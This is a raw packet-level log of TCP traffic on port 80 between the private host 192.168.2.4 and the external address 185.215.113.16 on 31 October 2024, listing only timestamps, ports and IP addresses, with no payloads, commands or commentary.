Oct 31, 2024 04:16:10.350481987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350513935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350527048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350541115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350555897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350563049 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350563049 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350574017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350584984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350598097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350617886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350692034 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350734949 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350806952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350821018 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350835085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350847006 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350851059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350867033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350868940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350872993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350886106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350893021 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350903988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350912094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350928068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350934982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350945950 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350966930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350975990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350982904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351000071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351005077 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351015091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351023912 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351032019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351032019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351049900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351051092 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351066113 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351064920 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351082087 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351083040 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351106882 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351116896 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351134062 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351149082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351162910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351176023 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351177931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351185083 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351193905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351202011 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351208925 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351223946 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351228952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351248980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351273060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351290941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351305962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351325035 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351329088 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351344109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351351023 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351351976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351368904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351381063 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351408958 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351444960 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351459980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351480007 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351481915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351492882 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351496935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351512909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351516962 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351528883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351541996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351571083 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351727009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351742029 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351754904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351769924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351771116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351787090 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351793051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351804018 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351816893 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351819992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351835966 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351841927 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351852894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351866007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351869106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351885080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351893902 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351922035 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351926088 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351949930 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351959944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351963043 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.351975918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.351991892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.352001905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.352005959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.352014065 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.352024078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.352037907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.352051020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.352051020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.352058887 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.352083921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.394470930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.394499063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.394529104 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.394535065 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.394546032 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.394553900 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.394562960 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.394568920 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.394587040 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.394604921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.418627024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418694019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.418747902 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418761969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418783903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418797016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.418800116 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418809891 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.418816090 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418833971 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418837070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.418850899 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418858051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.418867111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.418891907 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.418905020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419179916 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419202089 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419223070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419225931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419238091 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419264078 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419276953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419292927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419308901 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419332981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419334888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419356108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419384003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419388056 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419435024 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419564962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419579983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419608116 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419616938 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419635057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419636965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419650078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419656038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419666052 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419672012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419682980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419683933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419708014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419724941 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419771910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419785976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419800043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419815063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419822931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419836044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419847965 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419855118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419867039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419874907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419892073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419912100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.419958115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419971943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.419989109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420003891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420006990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420021057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420028925 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420034885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420056105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420073986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420093060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420106888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420121908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420129061 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420137882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420150995 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420152903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420165062 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420169115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420182943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420186996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420192957 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420218945 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420238972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420253992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420274973 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420280933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420290947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420310974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420311928 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420311928 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420325041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420339108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420381069 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420392036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420427084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420439005 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420443058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420459032 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420463085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420480013 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420489073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420506954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420511007 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420521975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420526028 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420541048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420548916 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420557022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420567989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420574903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420589924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420599937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420608044 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420622110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420628071 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420646906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420658112 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420660019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420675039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420690060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420695066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420701981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420725107 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420744896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420759916 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420774937 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420789957 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420794010 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420804977 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420820951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420820951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420835972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420849085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420883894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420886993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420927048 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420952082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420969963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.420990944 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.420991898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.421006918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.421009064 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.421029091 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.421036005 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.464574099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464592934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464632034 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464641094 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464658022 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.464660883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464684010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464689016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.464693069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464710951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.464736938 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.464778900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464787006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464793921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464802027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.464823008 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.464844942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465008974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465015888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465023994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465045929 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465050936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465063095 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465070009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465076923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465076923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465105057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465106964 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465132952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465135098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465143919 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465151072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465156078 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465157986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465174913 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465183973 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465198994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465198994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465208054 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465230942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465230942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465610981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465657949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465672970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465673923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465699911 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465723991 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465744019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465753078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465766907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465775967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.465809107 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465833902 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.465997934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466006041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466015100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466053963 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.466145992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466193914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466202021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466209888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466217041 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.466217041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466236115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.466250896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466276884 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466284037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466286898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466289043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466290951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466294050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466294050 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.466294050 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.466310024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466317892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.466325045 CET	80	49814	185.215.113.16	192.168.2.4
